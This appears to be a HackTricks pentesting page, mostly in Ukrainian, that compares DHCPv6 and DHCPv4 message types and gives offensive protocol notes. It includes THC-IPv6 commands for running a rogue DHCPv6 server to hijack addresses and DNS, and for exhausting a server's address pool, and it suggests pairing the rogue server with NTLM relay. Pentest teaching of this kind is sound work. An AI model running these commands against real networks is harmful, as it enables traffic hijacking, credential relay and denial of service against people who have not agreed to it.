DHCPv6

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

DHCPv6 vs. DHCPv4 Порівняння типів повідомлень

Порівняльний огляд типів повідомлень DHCPv6 та DHCPv4 наведено в таблиці нижче:

DHCPv6 Тип повідомленняDHCPv4 Тип повідомлення
Solicit (1)DHCPDISCOVER
Advertise (2)DHCPOFFER
Request (3), Renew (5), Rebind (6)DHCPREQUEST
Reply (7)DHCPACK / DHCPNAK
Release (8)DHCPRELEASE
Information-Request (11)DHCPINFORM
Decline (9)DHCPDECLINE
Confirm (4)немає
Reconfigure (10)DHCPFORCERENEW
Relay-Forw (12), Relay-Reply (13)немає

Детальний опис типів повідомлень DHCPv6:

  1. Solicit (1): Ініційований DHCPv6 клієнтом для пошуку доступних серверів.
  2. Advertise (2): Відправляється серверами у відповідь на Solicit, вказуючи на наявність служби DHCP.
  3. Request (3): Клієнти використовують це для запиту IP-адрес або префіксів у конкретного сервера.
  4. Confirm (4): Використовується клієнтом для перевірки, чи призначені адреси все ще дійсні у мережі, зазвичай після зміни мережі.
  5. Renew (5): Клієнти відправляють це до початкового сервера для продовження строку дії адрес або оновлення конфігурацій.
  6. Rebind (6): Відправляється будь-якому серверу для продовження строку дії адрес або оновлення конфігурацій, особливо коли на Renew не отримано відповіді.
  7. Reply (7): Сервери використовують це для надання адрес, параметрів конфігурації або підтвердження повідомлень, таких як Release або Decline.
  8. Release (8): Клієнти повідомляють сервер припинити використання однієї або кількох призначених адрес.
  9. Decline (9): Відправляється клієнтами для повідомлення про конфлікт призначених адрес у мережі.
  10. Reconfigure (10): Сервери спонукають клієнтів ініціювати транзакції для нових або оновлених конфігурацій.
  11. Information-Request (11): Клієнти запитують параметри конфігурації без призначення IP-адрес.
  12. Relay-Forw (12): Relay-агенти пересилають повідомлення серверам.
  13. Relay-Repl (13): Сервери відповідають relay-агентам, які потім доставляють повідомлення клієнту.

Короткі нотатки про протокол (Offensive)

  • DHCPv6 клієнти використовують UDP порт 546, а servers/relays — UDP порт 547.
  • Клієнти відправляють Solicit на All_DHCP_Relay_Agents_and_Servers (ff02::1:2); саме там слухають servers/relays. All_DHCP_Serversff05::1:3.
  • Ідентифікатори клієнта та сервера передаються в OPTION_CLIENTID і OPTION_SERVERID з використанням DUIDs. Це зручно для fingerprinting того самого хоста при зміні адрес.
  • Призначення адреси запитується за допомогою IA_NA (non-temporary address), а делегування префіксу — IA_PD (downstream router prefix).

Quick Recon

# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'

# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>

Rogue DHCPv6 Server (Address/DNS Hijack)

# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>

Це загальний on-link rogue DHCPv6 сервер. У мережах Windows/AD поєднайте це з ретрансляторами вищого рівня (див. сторінку IPv6), якщо вам потрібні NTLM relay primitives.

Вичерпання пулу / DHCPv6 Starvation

# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>

Зауваження щодо повідомлення Reconfigure

DHCPv6 Reconfigure не приймається беззастережно: клієнти приймають його лише якщо вони явно надіслали OPTION_RECONF_ACCEPT. За замовчуванням клієнт неохоче приймає повідомлення Reconfigure, тому ненадійні Reconfigure attacks часто зазнають невдачі, якщо ви не спостерігаєте або не спровокуєте цю опцію.

Pentesting IPv6

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks